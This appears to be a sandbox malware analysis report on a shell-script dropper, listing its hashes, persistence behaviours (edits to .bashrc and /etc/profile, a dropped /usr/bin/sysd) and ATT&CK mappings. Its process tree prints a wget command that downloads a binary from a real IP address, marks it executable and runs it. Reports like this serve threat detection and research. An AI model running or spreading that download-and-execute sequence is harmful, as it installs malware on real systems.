Analysis
- max time kernel
149s - max time network
141s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
29/05/2026, 05:57
Static task
static1
Behavioral task
behavioral1
Sample
e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
Resource
debian9-mipsel-20260513-en
General
- Target e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
- Size 1KB
- Sample260529-gntdmsdv2k
- SHA256 e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f
- MD5 664b478c4edafe1e34a14f4ee7aae372
- SHA1 7635841bcf3393fa891464a5161afca5704fc45f
- SHA512 b3c64e3654221f8a7cda13a902535e6145ca0c14ba27ce790e6ed48f73eb82add21ec0b4ce083d163576ca866fb58ef4cda53b28a002218208d7cea8c476d37a
- TLSH T1F731A1EB22A090B3C46DED46FB9580C5E04846C3D1E6EFBCBCBC6526489814CF1B5B74
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1485 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/x86 1486 e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh - Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /etc/profile x86 File opened for modification /root/.bashrc x86 File opened for modification /home/user/.bashrc x86 - Write file to user bin folder 1 IoCs
description ioc Process File opened for modification /usr/bin/sysd x86 - Modifies Bash startup script 2 TTPs 3 IoCs
description ioc Process File opened for modification /etc/profile x86 File opened for modification /root/.bashrc x86 File opened for modification /home/user/.bashrc x86 - Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size x86 -
description ioc Process File opened for reading /proc/stat x86 File opened for reading /proc/meminfo x86 - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/x86 wget
Processes
-
/tmp/e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh/tmp/e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh1⤵
- Executes dropped EXE
PID:1478 -
/usr/bin/wgetwget http://176.65.139.148:5001/x86 -O x862⤵
- Writes file to tmp directory
PID:1479
-
-
/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
PID:1485
-
-
/tmp/x86./x862⤵
- Creates/modifies environment variables
- Write file to user bin folder
- Modifies Bash startup script
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1486
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Privilege Escalation
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/x86
- Size 4.7MB
- SHA256 abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19
- MD5 4371cb24e2578152e89ab50183f89b98
- SHA1 1c7185e95076805372a5e80330cb22a78f4debd6
- SHA512 786e987ab6b96b046ec4de9a49e0ba069a97513d383cb26a1700a99fcf1b52e24b4d46e2858023074fa3ca3259da342dcf6cbf08ef712d9973ffa69445aac2ab
- SSDEEP 49152:GuWxM1Tn/6Lo8vzL2zV7ZGsX6b3xpt2qet6qKJvwvc2ReU:qM1j/Xxq2qqpvVeU
- TLSH T140361790FECB51F6D9031E3144ABA23F63315D058B24EB97EA547F29FA3B691193620C
- MD5 SHA1 SHA512 SSDEEP TLSH